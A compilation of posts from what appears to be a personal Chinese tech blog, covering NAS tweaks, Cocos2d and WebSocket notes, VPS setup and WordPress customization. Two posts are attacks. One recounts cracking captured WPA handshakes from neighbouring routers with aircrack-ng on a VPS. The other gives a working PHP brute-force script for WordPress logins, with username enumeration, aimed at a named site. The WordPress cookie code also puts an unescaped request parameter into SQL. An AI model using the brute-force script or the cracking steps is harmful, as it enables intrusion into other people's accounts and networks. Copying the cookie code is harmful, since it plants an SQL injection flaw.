4.启动迅雷远程下载
xunlei start
复制代码
5.获取迅雷远程状态信息(含激活码)
xunlei status
复制代码
6.关闭或重启
xunlei stop
xunlei restart
复制代码
7.开机自启动
xunlei boot
复制代码
再次运行可移除。

8.如需异常状态自动重启的话
xunlei crontab
复制代码
再次运行可移除。
查看日志
xunlei logs

/opt/xunlei/portal 可以启动迅雷

9.重装或升级
xunlei setup

一直没有启动成功,后来开了dmz,公网访问后才能得到激活码。不知道什么原因

2.取消泡泡云服务

编辑文件 /root/rc.popocloud

注释掉

if _stopped “python”; then

start_popocloud

fi

reboot ,自带的服务就没了。

3.关闭minidlna

编辑文件 /root/rc.popocloud
vi /root/rc.popocloud
编辑掉:

if _stopped “minidlna”; then

start_minidlna ${ipaddr} &

else

stop_minidlna

fi

之后保存,/etc/minidlna stop

并reboot,miniDlna服务就关闭了。

DLNA 服务器,配置文件在 /etc/minidlna.conf

4配置 BT 下载服务 transmission

/etc/transmission start 启动。如果需要自启动,可以在 /etc/init.d/rc.local 最后加上这句就可以了。
web 访问: http://IP:9091。
如果需要手动配置,可以在: /root/transmission/config 目录下,有一个json文件可以配置;
建议直接 web 端配置(例如下载目录配置到你的 samba 服务器目录,下载后直接访问)
另外 web内容在 /root/transmission/web 下,可以更换汉化版本。

启动: /etc/transmission start (如果需要自启动,加入 /etc/init.d/rc.local 就可以了)

QQ20131123132532

5.安装optware

以下命令在putty里一条条复制粘帖就行了

1.下载部署OptWare
feed=http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable
ipk_name=wget -qO- $feed/Packages | awk '/^Filename: ipkg-opt/ {print $2}'
wget $feed/$ipk_name
tar -xOvzf $ipk_name ./data.tar.gz | tar -C / -xzvf -
mkdir -p /opt/tmp
mkdir -p /opt/etc/ipkg
echo “src cross $feed” > /opt/etc/ipkg/feeds.conf
复制代码
2.配置环境变量
LD_LIBRARY_PATH=/opt/lib:/lib:/usr/lib
sed -i “s#LD_LIBRARY_PATH=.#LD_LIBRARY_PATH=${LD_LIBRARY_PATH}#g” /etc/profile
PATH=/opt/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sed -i “s#PATH=.
#PATH=${PATH}#g” /etc/profile
. /etc/profile

3.ipkg安装实例
ipkg update
ipkg install ncurses nano
which nano

提醒:目前Popobox没有不死uboot,所以操作需谨慎!

最后,总共找到了这些资料

QQ20131123133905

2014.1.31更新

回家过年更新了一遍,但是没有网络,最后蹭到了邻居家的wifi。密码是1到9.然后就考虑怎么来搞搞,最后用路由桥接了这个信号。

开启wds,然后扫描到ap,设置好保存,这样就可以连接上我的泡泡云了。

QQ20140131224250

开启dhcp,不启用的话我们的泡泡云没有ip,不能自动获取ip就ssh不上了。网关要选桥接的那个路由内网地址。
QQ20140131224321

给本路由设置一个ip地址,确保没有ip冲突就ok。保存重启,就可以用线连接泡泡云了。QQ20140131224358

操蛋,主机商跑路了。

shardhost当初的9.9美金的vps,跑路了。买的时候就在担心,果真跑路了。

真心操蛋,我的博客数据回档到10.03了。而且那个印刷站也没有了。

根本就没备份啊。

vps跑wpa握手包

家里断网了,装上minidwep开始搞了。

找到了好多个腾达的c83a35开头的路由,算了半天才发现没开wps。

放弃,信号实在不行,还是抓包吧。

抓了2个,一个以3000k/s的速度跑了23小时,出密码了额987654321。。

蛋碎啊,早知道先跑弱密了。

然后蛋疼的拿出wifi万能钥匙,又连上一个。。。。。费了半天劲。丢vps上跑吧。

apt-get install build-essential

wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz

tar -zxvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
make
make install

然后wget或者ftp上传握手包,和字典,我传了一个社工字典。

离线跑咯

apt-get install screen

screen -S wpa 新建

screen -r wpa 恢复

aircrack-ng -w 字典文件名 握手包文件名

QQ20131003033251

 


 

暴力破解wordpress后台

主要来源是 wooyun的 http://wooyun.org/bugs/wooyun-2010-028908

说说方法,先得到用户名 ,就是通过遍历这个地址的author

http://www.lufuli.com/?author=1

然后会跳转到一个地址,没错了,这个就是用户名。

QQ20130928023349

然后我使用的是php 写的脚本,遗憾的是只能单线程。

修改一下username,和url,准备字典就跑起来吧。

成功后会自动结束,查看文件log.txt里面有密码。

QQ20130928023648

 

 

代码直接放这里了。由于vps内存比较小,只能按行读取了。

<?php

$username = “yekai”;
$file = fopen(‘pass.txt’,’r’);
$url = “http://lufuli.com“;

while (!feof($file))
{
$now=fgets($file);//读入所有的内容

$PostUrl = $url.’/wp-login.php’;
$_Path_status_code = GetHttpStatusCode(Trim($PostUrl));
//echo $PostUrl.’ ‘.$_Path_status_code.”\n”;
if (‘404’ == $_Path_status_code)
{
Continue;
}
$username = Trim($username);

$now = Trim($now);
$curlPost = ‘log=’.$username.’&pwd=’.urlencode($now);
$Rs = POST_Data($PostUrl, $curlPost);
$fail_tag = ‘<strong>’.$username.’</strong>’;
if (stristr($Rs, ‘<strong>ERROR</strong>: Invalid username’)) # 不存在的用户名跳过猜解
{
Break;
}
if (!stristr($Rs, $fail_tag))
{
file_put_contents(“log.txt”,$PostUrl.’ ‘.’Password:’.$now.’ # Succed!’.”\r\n”,FILE_APPEND);
exit();
}else{
echo ‘Password:’.$now.”failed\r\n”;
}

}

fclose($file);

 

 
function GetHttpStatusCode($url){
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);//获取内容url
curl_setopt($curl,CURLOPT_HEADER,1);//获取http头信息
curl_setopt($curl,CURLOPT_NOBODY,1);//不返回html的body信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);//返回数据流,不直接输出
curl_setopt($curl,CURLOPT_TIMEOUT,3); //超时时长,单位秒
curl_exec($curl);
$rtn= curl_getinfo($curl,CURLINFO_HTTP_CODE);
curl_close($curl);
return $rtn;
}
function POST_Data($PostUrl, $DATA)
{
$ch = curl_init();//初始化curl
curl_setopt($ch,CURLOPT_URL, $PostUrl);//抓取指定网页
curl_setopt($ch, CURLOPT_HEADER, 0);//设置header
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $DATA);
$data = curl_exec($ch);//运行curl
curl_close($ch);
return $data;//输出结果
}
?>

 

 

Cocos2d-html5山寨神仙道

就是把以前学习的东西总结了一下,不然就完全不知道学过什么。

下载cocos2d-html5引擎,我这里有2.14的。现在最新版本是215

http://www.cocos2d-x.org/projects/cocos2d-x/wiki/Download

https://github.com/cocos2d

7.5m大小的不带例子

目录samples 下有他的例子,主要是有4个游戏,其中有个飞机的大家可以特别看看,对了解整个游戏过程很不错。我是看完了。

然后把hello word中的代码复制到根目录中,(这些不是必须的,只是我是要发布的,所以先这么干了)。删掉其他用不到的目录,最后结果是这样的。

然后 修改index.htm ,main.js,cocos2d.js, src/resouorce.js,src/start.js

这几个文件可以在官方说明中看到他们的关系,

Index.htm 中要包含一个canvas

<canvas id=”gameCanvas” width=”960” height=”512”>

然后引入我们的cocos2d.js

<script src=”cocos2d.js”></script>

Cocos2d.js

这个文件中要修改我们 canvas idcocos 的引擎地址,和我们要包含的js文件

var cc = cc || {};

(function () {

var d = document;

var c = {

menuType:’canvas’, //whether to use canvas mode menu or dom menu

COCOS2D_DEBUG:2, //0 to turn debug off, 1 for basic debug, and 2 for full debug

showFPS:true,

loadExtension:true,

frameRate:60,

tag:’gameCanvas’, //the dom element to run cocos2d on

engineDir:’cocos2d/‘, //引擎地址

appFiles:[ //绑定文件

‘src/resource.js’,

‘src/start.js’,

‘src/mainpage.js’

 

]

};

window.addEventListener(‘DOMContentLoaded’, function () {

//first load engine file if specified

var s = d.createElement(‘script’);

/*Delete this section if you have packed all files into one*/

if (c.SingleEngineFile && !c.engineDir) {

s.src = c.SingleEngineFile;

}

else if (c.engineDir && !c.SingleEngineFile) {

s.src = c.engineDir + ‘platform/jsloader.js’;

}

else {

alert(‘You must specify either the single engine file OR the engine directory in “cocos2d.js”‘);

}

/*Delete this section if you have packed all files into one*/

 

//s.src = ‘Packed_Release_File.js’; //IMPORTANT: Un-comment this line if you have packed all files into one

 

d.body.appendChild(s);

document.ccConfig = c;

s.id = ‘cocos2d-html5’;

//else if single file specified, load singlefile

});

 

})();

 

 

Main.js

这个文件是我们的入口文件,其他的都默认,

var myApp = new cocos2dApp(WorldScene); 这一句话 创建了我们定义的场景了。

 

WordScene 在我们的start.js中定义了。

var WorldScene = cc.Scene.extend({

onEnter : function() {

this._super();

var layer = new MainPage();

this.addChild(layer);

}

});

 

 

准备好背景资源 ,写入resource.js

//BackGround

var s_ground=”res/ground.png”;

 

 

var g_ressources = [

//Image

{type:”image”, src:s_ground},

];

 

保存后就可以看到我们的场景了。

 

是不是有些文不对题,因为中间的文字还没写完。

这个实现了人物的动画,左右跑动,可拖动对话框,同时使用websocket简单的进行了通讯,能够自动应答。

QQ20130912033323 QQ20130912033357

总结下家里装电视的方案

这边拆迁,都搬家了,于是乎,我被叫去装电视了。、、还好不是修电视,专业对口修电脑就算了,为什么电视都要我修。

主要是有线电视一年300,还有初装费。也就是第一年680块一个。 家里有2台电视很正常的,还有3台的。

 

广电机顶盒

查询了一下要带多台电视的话有2种方式,

1、分线器,就是把信号源输出到2台电视上,另外一台电视通过遥控转接信号,因为2台电视是一样的画面,用处不大。

2、宾馆的实现方式,一个机顶盒固定一个台,也就是说如果要30个电视台需要30个盒子,然后通过一个切换器,就能让单台电视有30个台了。然后无论有多少电视都有这30个台。

这太贵了啊。。。。

 

卫星锅

一个锅子100块,好几十个电视台呢,安装的时候锅子要先45度角对天空的西南方,然后微微调整角度,看电视上的信号强度,

没有对到的话会没有信号,对到了会突然跳出来,起码要60以上的信号才能看哦。然后可以微调一下那个小盒子,不清楚是干什么的。不过新家还是不要放这个,除非在老城区,没人管的。

 

智能电视

不过还好,很多都买的是智能电视,创维,长虹,TCL.接入网络,进入应用市场安装一个文件管理工具,然后u盘插入,安装u盘中的电视apk。 现在知道的有小鹰直播,搜狐直播,龙龙直播,vst视频 等等。如果不支持,需要找对应的驱动,然后adb push,这个就不好找了。

ITV

电信活动,赠送了itv业务,一年也要200快哦,还有盒子要200块,贵的很,不过比机顶盒便宜啊。使用起来还不如android 电视盒子。移动也开始了,不过还要贵一点。

 

网络机顶盒

对于普通的电视,就需要买一个android 电视盒子了。小米,乐视盒子就别逗了。天敏,开博尔,美如画等等,最划算的是199买到一个开博尔的c2s,双核的哦。接入网络就能安装直播apk,然后遥控器,和机顶盒完全一样。不过这个必须要接入网络,为了流畅播放,最少30多寸的电视,总不能看网络标清的视频吧,必须要高清源,所以推荐4m以上,8m标准。实际上4m很卡了。如果是2台一起来的话,呵呵。。。

使用过程发现对于一些国外电台就是不能正常返回数据的呢,会卡住,等待响应。所有的直播软件都有这个问题。

 

附录:

最后记录一个,既然是双核 1G ram的android盒子,自然可以上linux,上linux意味着什么?大家懂的吧,然后找到神器,PicUntu Linux。

不过要先提醒一下,对android盒子的硬件不是很了解,可能这个会有驱动问题。缺失驱动很麻烦的。实际使用过程也不清楚会有哪些问题,所以如果不是特别蛋疼还是默认上android4.0吧。

 

PicUntu是一个基于Ubuntu的UNIX环境,支持RK3066芯片组的设备上运行。

 

下面是他的简单介绍:

 

特点:

基于Ubuntu的Qantal 12.10

只有170MB。Picuntu-DA-server软件包,就可以下载更多的包,这取决于你的选择。

全面的菜单驱动的配置 - 没有更多的命令行 - 即使是在文本模式下。

全高清 - 1920 x 1080的分辨率

CPU频率 - 动态高达1.6GHz的时钟

内部WiFi - UG802,MK808。平衡跟随

使用菜单模式下配置以下

网络:支持WiFi,LAN,DHCP,静态的,网关,路由,域名服务器

声卡:

系统性能

网络工具

网页上播放Flash

管理服务

启动,停止,状态,重新启动正在运行的服务

可以安装PicUntu SD卡,USB拇指驱动器或USB硬盘(1TB希捷扩展驱动器上测试)

安装 - 您可以从中选择选择部分或全部以下的包

Apache,MySQL和的apache2与php5的mysql-server-5.5的phpmyadmin

邮件/绑定包:sendmail的mailutils的dnsutils bind9的fetchmail的

Windows网络文件服务器 - 桑巴

内容管理器:JOOMLA。安装和配置

媒体服务器

Webmin的安装和配置

XFCE

GNOME名单

的LibreOffice:LibreOffice的

闪光灯:浏览器插件咬牙切齿咬牙切齿咬牙切齿共同咬牙切齿CYGNAL咬牙切齿-dev的咬牙切齿工具

远程桌面服务器:tightvncserver xrdp的

Java:在与openjdk-7-jre的无头与openjdk-7-jre的lib目录的openjdk-7-jre的

Gcompiler:GCC GDB的gcc-4.7 CPP CPP-4.7与binutils-金的libgcc1-dbg的相关的autoconf automake的CPP-doc的autotools-dev

 

 

 

 

安装手册

你需要开始

当然,你的设备

UG802,或

MK808

如果工作imito MX1 - 没有测试,我们知道内部WIFI不工作

SD卡 - 4GB RAM是不够的,但是你可能需要更多,这取决于你想要做什么,你的Linux

可选:您也可以运行您的PicUntu,关闭USB拇指驱动器。但是,我的经验说,作为一个外部驱动器,它似乎会导致松散的连接问题,当你需要运行较长一段时间内为您的服务器,它会导致很多的跳动。

你需要Linux操作系统 -能够格式化,安装和复制文件。

即将推出:我们正在努力获取图像的Windows系统准备。待机。

您将需要Windows操作系统能够闪烁的内核映像。如果你的内核已经恢复图像闪烁着,你不需要Windows。

下载

访问PicUntu首页下载和安装说明。

 

 

以上内容机器翻译,详细情况请看:http://code.google.com/p/rk3066-linux/

百度云盘1TB

今天网上看到百度云盘又送1TB了。

去年送了100g,早些时候放出一个bug 0.1元买100g。很成功的营销。

然后7月份0.2元续费去年的100G。

现在又送100G。。。。。

 

坑爹呐,明年绝对有嵌入广告。

当时觉得很有问题为什么第二个任务会送360G那。

 

果然,360立即回击,不要1块钱,直接领取1Tb+

 

一共是666+360的容量,不要钱。他们这个容量完全是给着玩的嘛。

站点速度优化

换了个主题,所以想把速度也给也给优化一下。

这个博客是托管在openshift上的,所以国内经常访问不上,或者速度更不上。

首先是给添加了个cdn,由于太怕麻烦了,所以就supercache,添加了七牛的cdn。

缓存式,刚好有800的券。

然后在webkaka上测下全国访问速度,好吧解析不了,换http://17ce.com/,一片飘红,经常有超过8s的。

然后发现百度也有分析的工具

QQ20130816000639 QQ20130816000705

这是去掉了代码高亮插件后的结果,2s很快了。代码高亮的差价加载了17个js。无语,删掉了。

再来看下全国的访问,应该是cdn生效了,我手工访问了些页面(缓存式的要第一次访问页面才会生成,当然指wp supercache)。

QQ20130816001247

看,很多都是1,2s的,其他还是有被屏蔽的,唉,换自己vps上去感觉很麻烦啊,等我新域名到手再换过去吧。

好吧,再次看下自己vps上的wp程序,都是0.5s的,我晕,速度想域名了。

QQ20130816002151

微信公众平台服务号、订阅号的相关说明

什么时候改的我不清楚,不过很多大号被删掉了。

我现在都不看好这个的开发了,又没钱赚。

 

一、服务号、订阅号的介绍(区别)

微信公众平台现在已分成订阅公众号和服务公众号两种类型。

公众平台服务号,是公众平台的一种帐号类型,旨在为用户提供服务。如:招商银行、中国南方航空。

公众平台订阅号,是公众平台的一种帐号类型,为用户提供信息和资讯。如:骑行西藏、央视新闻。

 

二、服务号的功能

公众平台服务号,是公众平台的一种帐号类型,旨在为用户提供服务。如:招商银行、中国南方航空。

1、1个月(30天)内仅可以发送1条群发消息。

2、发给订阅用户(粉丝)的消息,会显示在对方的聊天列表中。

3、在发送消息给用户时,用户将收到即时的消息提醒。

4、服务号会在订阅用户(粉丝)的通讯录中。

5、可申请自定义菜单。

 

三、订阅号的功能

公众平台订阅号,是公众平台的一种帐号类型,为用户提供信息和资讯。如:骑行西藏、央视新闻。

1、每天(24小时内)可以发送1条群发消息。

2、发给订阅用户(粉丝)的消息,将会显示在对方的订阅号文件夹中。

3、在发送消息给订阅用户(粉丝)时,订阅用户不会收到即时消息提醒。

4、在订阅用户(粉丝)的通讯录中,订阅号将被放入订阅号文件夹中。

5、订阅号不支持申请自定义菜单。

 

四、订阅号、服务号设置方法

设置方法:进入公众平台=》设置=》帐号信息=》类型=》升为服务号/订阅号=》选择确定即可。

温馨提示:

1、公众号只有1次机会可以选择成为服务号/订阅号,类型选择之后不可修改,请慎重选择。

2、选择“服务号”时,若您之前公众号选择的是“个人类型”,需要您选择企业、媒体、政府、其他组织类型重新登记相关信息。

Cocos2d 动画记录

以后会些完整,如果有必要的话。 这里是学习的时候记录的一点。不是一个完整的教程

 

一直不知道载入图像的函数,今天总算找到了,原来是texture,纹理集。

用这个对图片分段载入,然后我们可以实现一个动画。

 

 

var diren = cc.Sprite.extend({

speed:220,

appearPosition:cc.p(300, 400),

ctor:function () {

 

// needed for JS-Bindings compatibility

cc.associateWithNative( this, cc.Sprite );

 

var shipTexture = cc.TextureCache.getInstance().addImage(‘res/diren.png’);//图片

this.initWithTexture(shipTexture, cc.rect(0, 0, 190, 110)); // 图片框

this.setPosition(this.appearPosition);

 

// set frame

var frame=new Array(); //图片数组

var animFrames = []; //动画

for(var i=0;i<15;i++)

{

if(i<9){

frame[i] = cc.SpriteFrame.createWithTexture(shipTexture, cc.rect(0+i*190, 0, 190, 110));

} else{

frame[i] = cc.SpriteFrame.createWithTexture(shipTexture, cc.rect(0+(i-9)*190, 110, 190, 110));

}

animFrames.push(frame[i]);

}

 

 

 

// ship animate

var animation = cc.Animation.create(animFrames, 0.1);

var animate = cc.Animate.create(animation);

this.runAction(cc.RepeatForever.create(animate));

 

 

},

 

update:function (dt) { 这里的代码会定时执行

 

},

shoot:function (dt) {

},

destroy:function () {

},

hurt:function () {

},

 

});

 

 

 

所有的节点会有一个叫scheduleUpdate的方法,这个方法执行一次之后会开始一个定时器,在每一帧绘制时候执行update方法。

我们在init方法的最后添加如下代码来启动定时器:

 

 

this.scheduleUpdate();

然后创建用来被调用的update方法:

 

 

update: function(dt) {

}

dt变量表示延迟时间。这是上次调用update方法之后至今的时间。

游戏内使用websocket通信



Websocket实现比较简单,但是chrome firefox均存在不同问题

实现看附件就行了。

Nodejs,服务端代码






var conns = new Array();var ws = require(‘websocket-server’);var server = ws.createServer();

server.addListener(‘connection’, function(conn)

{

console.log(‘connection….’);

conns.push(conn);

conn.addListener(‘message’,function(msg)

{

console.log(msg);

for(var i=0; i<conns.length; i++)

{

if(conns[i]!=conn)

{

conns[i].send(msg);

}

}

});

});

server.listen(8080);

console.log(‘running……’);

 

客户端代码 html






<html><head><meta charset=”utf-8” />

<script type=”text/javascript”>

var host = ‘127.0.0.1’;

var port = 8080;

var url = ‘ws://‘+host+’:’+port+’/‘;

var w = new WebSocket(url); //构建于服务器之间的连接通信

<!–var audioElement = document.createElement(‘audio’); –>

<!–audioElement.setAttribute(‘src’, ‘qqmsg.mp3’);–>

w.onopen = function()//通过onopen事件句柄来监听socket的打开事件

{

$(‘chat-box’).innerHTML = ‘已连接到服务器……<br/>’;

}

w.onmessage = function(e)//onmessage事件句柄接受服务器传过来的数据

{

var msg = e.data;

var chatBox = $(‘chat-box’);

// audioElement.play();

chatBox.innerHTML = chatBox.innerHTML+msg+’<br/>’;

}

function send()//使用send方法向服务器发送数据

{

var talk = $(‘talk’);

var nike = $(‘nike’);

w.send(‘<strong style=”color:red”>’+nike.value+’:</strong>’+talk.value);

}

function $(id)

{

return document.getElementById(id);

}

</script>

</head>

<body>

<div id=”chat-box” style=”border:1px solid #cccccc; width:400px; height:400px; overflow:scroll;”></div>

昵称:

<input type=”text” id=”nike”/>

<br/>

内容:

<input type=”text” id=”talk”/>

<input type=”button” id=”send” onClick=”send();” value=”发送“/>

</body>

</html>

不要使用谷歌浏览器,会出现如下的错误:Error during WebSocket handshake: ‘Sec-WebSocket-Accept’ header is missing

原因如下:

因为websocket协议已经更新到13版本。

客户端发送数据格式类似这样:

GET /demo HTTP/1.1

Host: example.com

Connection: Upgrade

Sec-WebSocket-Key2: 12998 5 Y3 1 .P00

Sec-WebSocket-Protocol: sample

Upgrade: WebSocket

Sec-WebSocket-Key1: 4 @1 46546xW%0l 1 5

Origin: http://example.com

^n:ds[4U

服务端返回的信息是:

HTTP/1.1 101 WebSocket Protocol Handshake

Upgrade: WebSocket

Connection: Upgrade

Sec-WebSocket-Origin: http://example.com

Sec-WebSocket-Location: ws://example.com/demo

Sec-WebSocket-Protocol: sample

8jKS’y:G*Co,Wxa-

但是之前的版本是这样的:

客户端发送数据格式类似这样:

GET /chat HTTP/1.1

Upgrade: WebSocket

Connection: Upgrade

Host: www.zendstudio.net:9108

Origin: http://www.zendstudio.net

Cookie: somenterCookie

此时服务端应该返回的信息是:

HTTP/1.1 101 Web Socket Protocol Handshake

Upgrade: WebSocket

Connection: Upgrade

WebSocket-Origin: http://www.zendstudio.net

WebSocket-Location: ws://www.zendstudio.net:9108/chat

从这里我们太容易看出来,websocket协议的握手部分根本就是个类http的协议,所不同的是http每次都会有这样子的头信息交互,这在某些时候不得不显得很糟糕。而websocket只会执行一次这个过程,之后的传输信息就变得异常简洁了。

这里我们发现,version 13这个版本的websocket协议,与之前版本最大不同就是多了一个验证,客户端会发送一个“Sec-WebSocket-Key”的base64编码的密钥,要求服务端必须返回一个“Sec-WebSocket-Accept”,否则客户端会抛出一个“Error during WebSocket handshake: Sec-WebSocket-Accept mismatch”错误之后,关闭连接,当然,这个Sec-WebSocket-Accept的值是计算出来的。

谷歌14版本+支持新的标准,而websocket-server是按原来的版本写的。火狐也有类似的原因。

http://blog.csdn.net/mayixixi/article/details/7700201 看这里

也就是说使用websocket-server 的话由于版本太低,chromefirefox什么的不支持,只能有safari来测试。

方案2就是可以使用一个 http://socket.io 来解决。纯js的,提供了node.js(服务端)

当然可以自己实现websocket,都没有一个标准

入手一个vps

赵荣部落看到的,一年只要10刀,然后在微魔部落找到代付, 一共63块钱。

http://www.zrblog.net/10955.html

配置如下:

CPU:1 cores

内存:256MB

SWAP:256MB

硬盘:5 GB

月流量:256GB

1 IP/SolusVM

下面会持续更新一下如何跑上wordpress,再搭一个vpn的过程。

WordPress搭建一个微信公众平台网站

需要使用微信制作一个旅游网站导航,所以这里介绍一下使用wordpress搭建整个网站的过程。

需求:

1.网页中要加入预定功能

2.评论,预定最好和微信信息绑定

3.需要加入一个地图插件,在说明里可以展示地图

4.首页需要有一个图片轮播,

5.微信当然有后台管理咯

方案:

1.使用带有预定功能的主题,或者metro 风格的主题(自带地图)

比如wordpress hotel press ,但是修改的内容则比较多,所以废弃了。

2.使用一个手机主题,然后制作一个页面作为首页。

使用 form manageer 制作预定表单,

然后使用google map的插件 来制作地图展示。

但是google map不靠谱啊,最后觉定使用wp-ueditor,就是百度的开源编辑器。内部集成了百度地图插入,可惜是图片。

不过在移动平台上显示图片似乎更好哈!

微信决定使用 微擎 ,很适合我哈。小九后台上不去,乐享又收费,还是很乐意把所有数据都控制在自己手上的。

然后就差不多都解决了。后面只需要修改wordpress的验证过程,让他能够识别微信的登入方式。

制作过程:

WordPress修改过程:

  1. 新建一个静态首页

    开始没有注意,导致在手机上显示的还是放大的页面,没有缩放,

在网页的<head>中增加如下这段代码,可以让网页的宽度自动适应手机屏幕的宽度。

[html]<meta name="viewport" content="width=device-width,height=device-height,inital-scale=1.0,maximum-scale=1.0,user-scalable=no;">[/html]

2.集成ueditor

WordPress那个自带的编辑器就不说了,早就想换了,针对英文用户,难用的很。目前百度已经给出了将Ueditor集成到Wordpress的方法和压缩包,免插件替换,自我感觉不会对稳定性造成影响又能体验强大的中文编辑功能。

WordPress中集成UEditor(适用WP3.2.1或以上版)

集成步骤:

  1. 下载wp-ueditor.zip.解压后将ueditor文件夹复制到wp-content/plugins下 。
  2. 将general-template.php 覆盖到wp-includes下 (最好先备份之前的文件,不喜欢可以换回来) 。
  3. 修改ueditor/editor_config.js里的URL为网站的绝对路径 。
    最近没事了可以试试,用了演示界面真心觉得太好用了。确实,我们国人开发的编辑器对中文支持肯定更好的。而且比较好的是Ueditor连代码高亮都有,省的插件了。

3.安装form manager插件

这个就不用怎么说了,搜索一下,在线安装,使用方法是设置完表单后里面会生成一段代码,比如这个

[contact-form-7 id=”117” title=”form”]

黏贴到文章里面就行了。

4.修改评论

WordPress主题去除广告

我修改的这个主题里面还加了判断,电脑上不出广告,手机中再出广告。

一直没有发现,既然发现了就来去掉去。

get_template_part(‘ad’); 是这一句添加了广告。

看一下他的介绍

描述:
加载一个制定的模板到另一个模板里面(不同于包含header,sidebar,footer).
使得一个主题使用子模板来实现代码段重用变得简单

用于在模板中包含指定的模板文件,只需用指定参数slug和name就可以包含文件{slug}-{name}.php,最重要的功能是如果没有这个文件就包含没有{name}的.php文件文件

简单点就是这个调用,插入了主题目录下的ad.php文件。

把里面的内容给去掉就ok了。

WordPress修改footer

这个主题很搓,有广告不说,还给footer加密,而且footer.php.php取错名字了。

我们给改成footer.php,然后解密一下。

http://tool.lu/php 解密地址 phpjm.net这个东东加密的。

WordPress中自定义sql语句

``global $wpdb``;

$wpdb-&gt;query(``'query'``); //查询

$result``= ``$wpdb``-&gt;get_results(``"SELECT * FROM $wpdb-&gt;posts WHERE post_type = 'question'"``); //返回的是一个对象array,取值方式 $result[0]-&gt;id;

用这几句就够了,具体的可以看这里 http://www.favortt.com/wordpress-sql-analysis-query.html

WordPress中如何设置Cookies

1.在主题文件functions.php中添加以下代码,以设置cookie

[php]

/**

  • 函数名称,setcookie,自定义cookie,为了保存微信的openid
    */
    function set_openid_cookie() {
    if (!isset($_COOKIE[‘openid’])) {
    global $wpdb;
    $openid = $_GET[‘openid’];

    $result = $wpdb->get_results("select * from wx_user where openid = $openid");
    //var_dump($result);
    $name = $result[0]->nickname;
    $email = $result[0]->email;
    $grav_url = $result[0]->gravatar;

    setcookie(‘openid’, $openid, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);
    setcookie(‘name’, $name, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);
    setcookie(‘email’, $email, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);
    setcookie(‘grav_url’, $grav_url, time()+1209600, COOKIEPATH, COOKIE_DOMAIN, false);
    }
    }
    add_action( ‘init’, ‘set_openid_cookie’);

[/]

init 就是初始化中执行了的,不需要再次调用。

2、然后在需要调用cookie值的地方读取cookie

[php]

if (<a href="http://www.php.net/isset">isset</a>($_COOKIE['sitename_newvisitor‘])) {
echo ‘Welcome back!’;
}
else {
echo ‘Hello new visitor!’;
}

[/]

<strong>Wordpress中修改评论头像和作者信息</strong>

首先打开 comments.php,在头部加入

[php]

$openid = $_COOKIE[‘openid’];
$name = $_COOKIE[‘name’];
$email = $_COOKIE[‘email’];

[/php]

这3据代码,读取的是我们前面保存的信息

然后找到comment-form-author 这一段,把里面的value修改成$name 和$email,$url去掉了,微信不需要

[php]

<p class="comment-form-author">
<input id="author" name="author" type="text" value="<?php echo $name; ?>" size="30" placeholder="<?php _e(‘Name’, ‘zipe’); ?>(*)" required>

</p>
<p class="comment-form-email">
<input id="email" name="email" type="email" value="<?php echo $email; ?>" size="30" placeholder="<?php _e(‘Email’, ‘zipe’); ?>(*)" required>

</p>

[php]

由于我们头像是要微信的,所以也要修改掉

打开主题目录下的functions.php

搜索get_avatar

然后替换这个函数为

[php]

<?php

//echo get_avatar( $comment, 36 );
$grav_url = $_COOKIE[‘grav_url’];
echo "<img src=’$grav_url’/>";
?>

[/php]

OK,现在我们的用户访问后,如果评论的话,会自动显示他的个人微信信息和头像。

不过要注意,我们微信生成的访问网址需要在首页带一个?openid的参数

例如http://127.0.0.1/?openid=xxxxxxx ,这个样子,同时这个xxxxxxx需要已经进行绑定了才行。

不过我们会要求用户优先进行绑定的。

5.集成微信

OpenShift空间服务器503错误解决办法

OpenShift空间经常性的进行升级和例行的维护,短的时候1~2小时即可完成维护,有时甚至长达十几个小时都出现“503 Service Temporarily Unavailable”。那可能是httpd服务没有启动导致503错误。(httpd是Apache超文本传输协议(HTTP)服务器的主程序,被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。)

OpenShift空间503服务器错误解决

 

用户可以使用SSH登陆工具putty登陆,输入 “ctl_all start”或”ctl_all restart”启动httpd服务。试着输入”ctl_all restart”命令后重启了所有的服务,网站恢复即可正常。

 

1
2
3
4

ctl_all start
ctl_all stop
ctl_all restart
ctl_all status






以上代码依次为1启动、2停止、3重启、4查看应用,出现“503 Service Temporarily Unavailable”一般是执行启动和重启就行了。

关于OpenShift升级进度,你可以关注OpenShift的Twitter “@openshift_ops”或访问OpenShift的Open Issue页面https://openshift.redhat.com/app/status获得最新消息。

WordPress 如何建立一个展示站点

接了个单,就是建立一个展示站点,可以说是十分简单的,可是我在wordpress中和dedecms中犹豫很久,dedecms功能很强大,比较

适合这种的,最后实在没有找到好的模版,就还是用wordpress了,毕竟熟悉一点,修改方便多了。

首先使用了一个淘宝客主题,由于是制作衣服的,所以这个只需要简单的修改一下。

这个主题可以设置的地方感觉比较麻烦,都要自己写html才行,简单说一下,不然很难上手的。

使用的是这一个淘宝客主题,所以里面广告之类的还是有的,需要手动去除。

QQ20130707215748

首先给里面建立一下菜单,左方主题位置对应了分类的规则,一定要自己设置好,可以设置后在主页中查看一下,那个次导航我到现在也不知道是哪里哈哈。

QQ20130707215811

看到这个主题的设置是不是懵了,我看到就头大,这是什么玩意啊,不过还好,他提供了一个默认代码包,找到对应的名字复制过去就行了。不过这样真的很麻烦。

QQ20130707220110 QQ20130707220131

这一个一般人还真看不懂,上下是对应的,上面是分类id,下面是显示名称,不过我觉得太长了,去掉了一些,所以后面的设置就没有用了。第3排确实不知道用处。QQ20130707220231

这个是我为他安装的插件,都是必须的是不。

QQ20130707220258

代码还是进行修改了的,他代码风格不是一般的shit。。。。最后来看一下网站效果。

xuezi

##



最后我们恢复一下连接管理器,

